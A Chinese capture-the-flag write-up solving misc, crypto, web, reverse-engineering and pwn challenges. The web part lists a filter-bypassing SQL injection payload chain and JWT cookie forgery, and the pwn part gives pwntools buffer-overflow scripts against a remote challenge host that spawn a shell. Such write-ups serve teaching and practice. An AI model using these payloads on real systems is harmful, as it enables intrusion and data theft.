MISC
还是写题爽
brainfuck在线解密打开压缩包后手动补齐二维码的三个角扫码即可
Cry
把图片拖进winhex或HxD拉到最后可以看到右边的文本里有flag
CRYPTO
be@r
在线与熊论道解密即可
Are u ok?
在线AES解密,密钥是题目描述"nobody is ok.",解出压缩包的密码是mima123456,打开压缩包后用在线ok解密
WEB
签到题
提示是四位纯数字密码,用Burpsuite抓包之后send to intruder进行爆破即可
有点像甜饼
这道题要F12修改账号和密码限制的最大长度
根据提示和尝试发现账号必须是admin才能成功登录
Burpsuite抓包后发现Cookie是JWT
用网站https://jwt.io/进行在线调试
发现user是guest,permission是false,所以进行伪造,改成admin和true,但是还要找最后一步的密钥,由登录框可能存在sql注入,又因为账号必须是admin,所以只能在密码处注入,fuzz之后发现过滤了单引号和空格,是数字型注入并且要用/**/绕过空格。
payload如下:
1/**/and/**/1=2/**/order/**/by/**/1,2,3# 测试表有几列
1/**/and/**/1=2/**/union/**/select/**/1,2,database()# 爆库名,得到数据库名字ctf
1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 爆表名,得到表名ctf,hint
1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x68696e74#
#爆字段名,需要用16进制绕过,得到字段id,hint_key
1/**/and/**/1=2/**/union/**/select/**/1,2,hint_key/**/from/**/hint#
#查询数据,得到y0u_can_f1nd_me即为密钥
Cookie伪造
复制粘贴替换掉原来的Cookie得到flag
RE
maze
拖进ida按F5查看伪代码
进入move函数
点进数组a
把move函数中的数字按r转换成字符
move函数里的a1是我们输入的v9[i]。::a1是全局变量,值必须在0到62之间,且作为数组a的序号必须让a[::a1]=‘P’才能让move函数的返回值是1。而main函数里最后a[a1]=87(转换为字符是’W’)时才能拿到flag。根据题目maze(迷宫),数组a大小是64,D:+1,S:+8(WASD对应上左下右),for循环是14次,v10还有一次,可写出8x8的矩阵,我们从0开始只能走数组a的值是‘P’的序号,经过15步最后走到数组a的值是’W’对应的序号就能成功(类似走迷宫)。可以用画图软件标出数组a的值是‘P’和’W’的序号
在Ubuntu里试验一下成功了
flag即为flag{DSSDSSSDDWWDDS}
PWN
overflow_still
双击查看s的地址
双击查看a1的地址
二者的地址相差+0x00000008 - (-0x00000028) = 48,再将-889275714转化为0xcafebabe,p32函数可以将其转化为\xbe\xba\xfe\xca,用pwntools写脚本如下:
from pwn import *
c=remote("121.41.113.245",10001)
c.send("A"*48+"\xbe\xba\xfe\xca")
c.interactive()
rop_still
发现了what_is_this函数里执行了/bin/sh
查看此函数的地址
下面就要计算偏移量了
在Ubuntu里首先给权限
sudo chmod +x rop
使用gdb工具
计算得偏移量为60
写脚本如下:
from pwn import *
p=remote("121.41.113.245",10002)
p.send('A'*60+p32(0x08048562))
p.interactive()